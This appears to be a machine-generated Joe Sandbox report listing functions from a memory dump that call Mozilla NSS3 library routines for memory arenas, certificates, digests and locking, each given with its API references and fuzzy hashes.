Instruction ID: c61ccbe47b83eb086376be36134ff1e020a82440f99ab94f577cea3d3596c194
Opcode Fuzzy Hash: 8546e08e28100fe682e9ef3c81ee26992161300af297bb711fe42b1ebbdd5512
Instruction Fuzzy Hash: E63129B2900205ABDB209E64ED54F9A3B69FF5531DF140170EC149BB91F732E928C7B2

Function 6CC06C50 Relevance: 6.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CC06C8D
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CC06CA9
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6CC06CC0
SEC_ASN1EncodeItem_Util.NSS3(?,00000000,?,6CD28FE0), ref: 6CC06CFE

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Util$Alloc_Arena$EncodeItem_memset
String ID:
API String ID: 2370200771-0
Opcode ID: ea13466cb89e78d38af9ac7ad02dc504ebebd8f6e18ff1914e5387ca0564bcc2
Instruction ID: 4463bd623140c9fdad13d196da3fb989ffde6607a7ee402772af8dfffdb5c321
Opcode Fuzzy Hash: ea13466cb89e78d38af9ac7ad02dc504ebebd8f6e18ff1914e5387ca0564bcc2
Instruction Fuzzy Hash: EC318EB1A006169FEB08CF65C891ABFBBF5EF85248B10442DDD05E7750FB329946CBA0

Function 6CD14F00 Relevance: 6.1, APIs: 4, Instructions: 101fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000003,00000000,?,?,00000000), ref: 6CD14F5D
free.MOZGLUE(?), ref: 6CD14F74
free.MOZGLUE(?), ref: 6CD14F82
GetLastError.KERNEL32 ref: 6CD14F90

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: free$CreateErrorFileLast
String ID:
API String ID: 17951984-0
Opcode ID: 57e400adf3565ff5b8907bc6c8f4c7a293c34a0595ea16fb282f0cc74a6dc93a
Instruction ID: d3ba09ceb79aa6741b8af5ac55859cd1e4f8aadd0a503c0bea87428cf64adbc7
Opcode Fuzzy Hash: 57e400adf3565ff5b8907bc6c8f4c7a293c34a0595ea16fb282f0cc74a6dc93a
Instruction Fuzzy Hash: CF310975B042098BEB01DB69EC81BDE73F8EF8535CF040229E915A7B91D734E905C691

Function 6CC76DE0 Relevance: 6.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

PR_MillisecondsToInterval.NSS3(?), ref: 6CC76E36
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC76E57

Part of subcall function 6CCAC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CCAC2BF

PR_MillisecondsToInterval.NSS3(?), ref: 6CC76E7D
PR_MillisecondsToInterval.NSS3(?), ref: 6CC76EAA

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: IntervalMilliseconds$ErrorValue
String ID:
API String ID: 3163584228-0
Opcode ID: d98df8254eaae9c518f3505dd9ff0114db69c77c2f6539e54ec442fc2e67773e
Instruction ID: eb614dfe11dbe219a54ca7fe46056622e57f675a3e73282c7e492f1c1a7d27ca
Opcode Fuzzy Hash: d98df8254eaae9c518f3505dd9ff0114db69c77c2f6539e54ec442fc2e67773e
Instruction Fuzzy Hash: 14319131610E12EEDB245F34DD05396B7A5EB0131AF10063CD49AD6A91FB316958CFB2

Function 6CC5DDE0 Relevance: 6.1, APIs: 4, Instructions: 86memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,00000000,00000000,?,?,6CC5DDB1,?,00000000), ref: 6CC5DDF4

Part of subcall function 6CC614C0: TlsGetValue.KERNEL32 ref: 6CC614E0
Part of subcall function 6CC614C0: EnterCriticalSection.KERNEL32 ref: 6CC614F5
Part of subcall function 6CC614C0: PR_Unlock.NSS3 ref: 6CC6150D

PORT_ArenaAlloc_Util.NSS3(?,00000054,?,00000000,00000000,?,?,6CC5DDB1,?,00000000), ref: 6CC5DE0B
PORT_Alloc_Util.NSS3(00000054,?,00000000,00000000,?,?,6CC5DDB1,?,00000000), ref: 6CC5DE17

Part of subcall function 6CC60BE0: malloc.MOZGLUE(6CC58D2D,?,00000000,?), ref: 6CC60BF8
Part of subcall function 6CC60BE0: TlsGetValue.KERNEL32(6CC58D2D,?,00000000,?), ref: 6CC60C15

PR_SetError.NSS3(FFFFE009,00000000), ref: 6CC5DE80

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Util$Alloc_ArenaValue$CriticalEnterErrorMark_SectionUnlockmalloc
String ID:
API String ID: 3725328900-0
Opcode ID: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction ID: 0c8761503ee70d0bd7fc870b693c9dd935b480c4b3daa5f28e9a7dcf96922089
Opcode Fuzzy Hash: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction Fuzzy Hash: EE31C4B1A01B429BE700CF5AC9C0652F7A4BFA5318B64822AD81887B41F7B0E4B4CB90

Function 6CC4FE20 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6CC25ADC,?,00000000,00000001,?,?,00000000,?,6CC1BA55,?,?), ref: 6CC4FE4B
EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CC4FE5F
PR_Unlock.NSS3(78831D74), ref: 6CC4FEC2
PR_SetError.NSS3(00000000,00000000), ref: 6CC4FED6

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 3c6c2df6b6641b62dad323f1fbe7a0fd700f8bc9edb09226c258fbb578fcf182
Instruction ID: 1ba54d999f7228cd0d768fb9362efa76942f19dea4d8fad51c489eb2bcebe6eb
Opcode Fuzzy Hash: 3c6c2df6b6641b62dad323f1fbe7a0fd700f8bc9edb09226c258fbb578fcf182
Instruction Fuzzy Hash: 0A210131E00626AFE701AE65D844BAA77B8BF0535AF448124DE04A7E42F731E964CBD1

Function 6CC53F50 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 6CC53440: PK11_GetAllTokens.NSS3 ref: 6CC53481
Part of subcall function 6CC53440: PR_SetError.NSS3(00000000,00000000), ref: 6CC534A3
Part of subcall function 6CC53440: TlsGetValue.KERNEL32 ref: 6CC5352E
Part of subcall function 6CC53440: EnterCriticalSection.KERNEL32(?), ref: 6CC53542
Part of subcall function 6CC53440: PR_Unlock.NSS3(?), ref: 6CC5355B

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6CC3E80C,00000000,00000000,?,?,?,?,6CC48C5B,-00000001), ref: 6CC53FA1
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6CC3E80C,00000000,00000000,?,?,?,?,6CC48C5B,-00000001), ref: 6CC53FBA
PR_Unlock.NSS3(?,00000000,00000000,00000000,?,6CC3E80C,00000000,00000000,?,?,?,?,6CC48C5B,-00000001), ref: 6CC53FFE
PR_SetError.NSS3 ref: 6CC5401A

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue$K11_Tokens
String ID:
API String ID: 3021504977-0
Opcode ID: 05655f16ac34acac256c9ef8074afa085b63dab1cba217e4b3d513e0e20fb8db
Instruction ID: a58b5e0b54a0e84bef992e2edec439b11e77dd4bea76b37891fb19271dc97c25
Opcode Fuzzy Hash: 05655f16ac34acac256c9ef8074afa085b63dab1cba217e4b3d513e0e20fb8db
Instruction Fuzzy Hash: CB3160709087048FDB00EF69D48466ABBF4FF88354F55492DD98987B10EB30E8A5CB91

Function 6CC44FB0 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6CC4B60F,00000000), ref: 6CC45003
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6CC4B60F,00000000), ref: 6CC4501C
PR_Unlock.NSS3(?,?,?,00000000,00000000,00000000,?,6CC4B60F,00000000), ref: 6CC4504B
free.MOZGLUE(?,00000000,00000000,00000000,?,6CC4B60F,00000000), ref: 6CC45064

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValuefree
String ID:
API String ID: 1112172411-0
Opcode ID: 07c789fcf3a2ba2d84addcb73748b8036dd77a6fb3d436ea68cb79e198ee69af
Instruction ID: de935ebf118e0aac6c228eb785d3e3ef0c5ae3e603ebcba8e9f146add60a921f
Opcode Fuzzy Hash: 07c789fcf3a2ba2d84addcb73748b8036dd77a6fb3d436ea68cb79e198ee69af
Instruction Fuzzy Hash: 2A3137B4A05606CFDB00EF68C48466ABBF4FF49304F118969E95ADB701E730E895CBD1

Function 6CC01EC0 Relevance: 6.1, APIs: 4, Instructions: 74timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,00000000,00000000,?,6CC04C64,?,-00000004), ref: 6CC01EE2

Part of subcall function 6CC61820: DER_GeneralizedTimeToTime_Util.NSS3(?,?,?,6CC01D97,?,?), ref: 6CC61836

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,6CC04C64,?,-00000004), ref: 6CC01F13
DER_DecodeTimeChoice_Util.NSS3(?,6CC04CA0,?,?,?,?,?,?,00000000,00000000,?,6CC04C64,?,-00000004), ref: 6CC01F37
DER_DecodeTimeChoice_Util.NSS3(?,6CC04C1C,?,?,?,?,?,?,?,?,00000000,00000000,?,6CC04C64,?,-00000004), ref: 6CC01F53

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: TimeUtil$Choice_Decode$GeneralizedTime_
String ID:
API String ID: 3216063065-0
Opcode ID: db7c013bd91762208fdd9033a28eb25e3fa3ec9db14b4a434ffcb49f0527305d
Instruction ID: b303c0af223b41702c5987b7f03c4d571b58432bb06b0cd10dfa54a51a830886
Opcode Fuzzy Hash: db7c013bd91762208fdd9033a28eb25e3fa3ec9db14b4a434ffcb49f0527305d
Instruction Fuzzy Hash: 01216271608316AFC700DE2EDD40A9BB7E9AB8869DF40092DE954C3B41F731E559CBD2

Function 6CC69F80 Relevance: 6.1, APIs: 4, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6CC6A71A,FFFFFFFF,?,?), ref: 6CC69FAB

Part of subcall function 6CC614C0: TlsGetValue.KERNEL32 ref: 6CC614E0
Part of subcall function 6CC614C0: EnterCriticalSection.KERNEL32 ref: 6CC614F5
Part of subcall function 6CC614C0: PR_Unlock.NSS3 ref: 6CC6150D

PORT_ArenaGrow_Util.NSS3(?,?,?,00000000,6CC6A71A,6CC6A71A,00000000), ref: 6CC69FD9

Part of subcall function 6CC61340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6CC0895A,00000000,?,00000000,?,00000000,?,00000000,?,6CBFF599,?,00000000), ref: 6CC6136A
Part of subcall function 6CC61340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6CC0895A,00000000,?,00000000,?,00000000,?,00000000,?,6CBFF599,?,00000000), ref: 6CC6137E
Part of subcall function 6CC61340: PL_ArenaGrow.NSS3(?,6CBFF599,?,00000000,?,6CC0895A,00000000,?,00000000,?,00000000,?,00000000,?,6CBFF599,?), ref: 6CC613CF
Part of subcall function 6CC61340: PR_Unlock.NSS3(?,?,6CC0895A,00000000,?,00000000,?,00000000,?,00000000,?,6CBFF599,?,00000000), ref: 6CC6145C

PORT_ArenaAlloc_Util.NSS3(?,00000008,6CC6A71A,6CC6A71A,00000000), ref: 6CC6A009
PR_SetError.NSS3(FFFFE013,00000000,6CC6A71A,6CC6A71A,00000000), ref: 6CC6A045

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Arena$Util$CriticalEnterSectionUnlockValue$Alloc_ErrorGrowGrow_Mark_
String ID:
API String ID: 3535121653-0
Opcode ID: 6d1ae70d6311bc2b933261b9cebe50cfeb7780cc980ad09fb36ff6f910e61e20
Instruction ID: 31f7f9988442f8118c3bbf0690beae7a31313b0070a46f4e6d415c796bac8d59
Opcode Fuzzy Hash: 6d1ae70d6311bc2b933261b9cebe50cfeb7780cc980ad09fb36ff6f910e61e20
Instruction Fuzzy Hash: D42180B4600216AFE7009F16DD90F66B7A9FF8535CF108128D86A87F81FB76E815CB90

Function 6CC80C00 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

PK11_DigestOp.NSS3(?,?,00000004), ref: 6CC80C43

Part of subcall function 6CC2DEF0: TlsGetValue.KERNEL32 ref: 6CC2DF37
Part of subcall function 6CC2DEF0: EnterCriticalSection.KERNEL32(?), ref: 6CC2DF4B
Part of subcall function 6CC2DEF0: PR_SetError.NSS3(00000000,00000000), ref: 6CC2E02B
Part of subcall function 6CC2DEF0: PR_Unlock.NSS3(?), ref: 6CC2E07E

PK11_DigestOp.NSS3(?,?,00000008), ref: 6CC80C85
PK11_DigestOp.NSS3(?,?,?), ref: 6CC80C9F
PR_SetError.NSS3(FFFFD07F,00000000), ref: 6CC80CB4

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: DigestK11_$Error$CriticalEnterSectionUnlockValue
String ID:
API String ID: 3186484790-0
Opcode ID: 17400da9dcf51e1b606752eb5139fb6f72890a892bf08554e049d0b1ef311e74
Instruction ID: e21829e333aee4828164bd45e479f517e86943a2467d8dd21ee1cc7f0f5ed15f
Opcode Fuzzy Hash: 17400da9dcf51e1b606752eb5139fb6f72890a892bf08554e049d0b1ef311e74
Instruction Fuzzy Hash: 49212871A052869FCB01CF689C05B9BBFA4AF25208F0981A5E8485F752F731D828C7E3

Function 6CC72DF0 Relevance: 6.1, APIs: 4, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CC72E08

Part of subcall function 6CC614C0: TlsGetValue.KERNEL32 ref: 6CC614E0
Part of subcall function 6CC614C0: EnterCriticalSection.KERNEL32 ref: 6CC614F5
Part of subcall function 6CC614C0: PR_Unlock.NSS3 ref: 6CC6150D

PORT_NewArena_Util.NSS3(00000400), ref: 6CC72E1C
PORT_ArenaAlloc_Util.NSS3(00000000,00000064), ref: 6CC72E3B
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CC72E95

Part of subcall function 6CC61200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6CC088A4,00000000,00000000), ref: 6CC61228
Part of subcall function 6CC61200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6CC61238
Part of subcall function 6CC61200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6CC088A4,00000000,00000000), ref: 6CC6124B
Part of subcall function 6CC61200: PR_CallOnce.NSS3(6CD62AA4,6CC612D0,00000000,00000000,00000000,?,6CC088A4,00000000,00000000), ref: 6CC6125D
Part of subcall function 6CC61200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6CC6126F
Part of subcall function 6CC61200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6CC61280
Part of subcall function 6CC61200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6CC6128E
Part of subcall function 6CC61200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6CC6129A
Part of subcall function 6CC61200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6CC612A1

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: ArenaUtil$CriticalSection$Arena_EnterFreePoolUnlockValuefree$Alloc_CallClearDeleteMark_Once
String ID:
API String ID: 1441289343-0
Opcode ID: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction ID: 996afa670eb85eafb52cd614ddd5e332083c1655a820a0c50f33224a8a404497
Opcode Fuzzy Hash: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction Fuzzy Hash: D92126B1D003418BEB10CF159D94BAA3764EF9130EF111269DD089BB42F7B1E68883A2

Function 6CC2ACB0 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6CC2ACC2

Part of subcall function 6CC02F00: PORT_NewArena_Util.NSS3(00000800), ref: 6CC02F0A
Part of subcall function 6CC02F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CC02F1D

Part of subcall function 6CC02AE0: PORT_Strdup_Util.NSS3(?,?,?,?,?,6CC00A1B,00000000), ref: 6CC02AF0
Part of subcall function 6CC02AE0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC02B11

CERT_DestroyCertList.NSS3(00000000), ref: 6CC2AD5E

Part of subcall function 6CC457D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6CC0B41E,00000000,00000000,?,00000000,?,6CC0B41E,00000000,00000000,00000001,?), ref: 6CC457E0
Part of subcall function 6CC457D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6CC45843

CERT_DestroyCertList.NSS3(?), ref: 6CC2AD36

Part of subcall function 6CC02F50: CERT_DestroyCertificate.NSS3(?), ref: 6CC02F65
Part of subcall function 6CC02F50: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CC02F83

free.MOZGLUE(?), ref: 6CC2AD4F

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Util$CertDestroyList$Arena_free$Alloc_ArenaCertificateFreeK11_Strdup_Tokenstolower
String ID:
API String ID: 132756963-0
Opcode ID: ef391707805044276782845b0d769b18a5bc044633717595556c5405a59082da
Instruction ID: d7455694957ffb89c90e69ca1a8c789f61936f1a7dcd2bfb46aa9de43c5d2c11
Opcode Fuzzy Hash: ef391707805044276782845b0d769b18a5bc044633717595556c5405a59082da
Instruction Fuzzy Hash: B92106B1E002148BEF10DF64D8055EEB7B8EF49348F454068D808BBB10FB35AA49CBE2

Function 6CC53C80 Relevance: 6.1, APIs: 4, Instructions: 65COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CC53C9E
EnterCriticalSection.KERNEL32(?), ref: 6CC53CAE
PR_Unlock.NSS3(?), ref: 6CC53CEA
PR_SetError.NSS3(00000000,00000000), ref: 6CC53D02

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: f8fde18d8e44a514ddf27db7615f87e2bb23e6e651556e123a5b87a845a7daa9
Instruction ID: 7d1eb8f04cc9ac0407d9a9238279869a5e6f0829764efc7f8291c8630437d642
Opcode Fuzzy Hash: f8fde18d8e44a514ddf27db7615f87e2bb23e6e651556e123a5b87a845a7daa9
Instruction Fuzzy Hash: 0811B479E002149FE7009F24DC48A9A3778EF09368F5941A0ED0887711E731ED65C7E0

Function 6CC5ECB0 Relevance: 6.1, APIs: 4, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

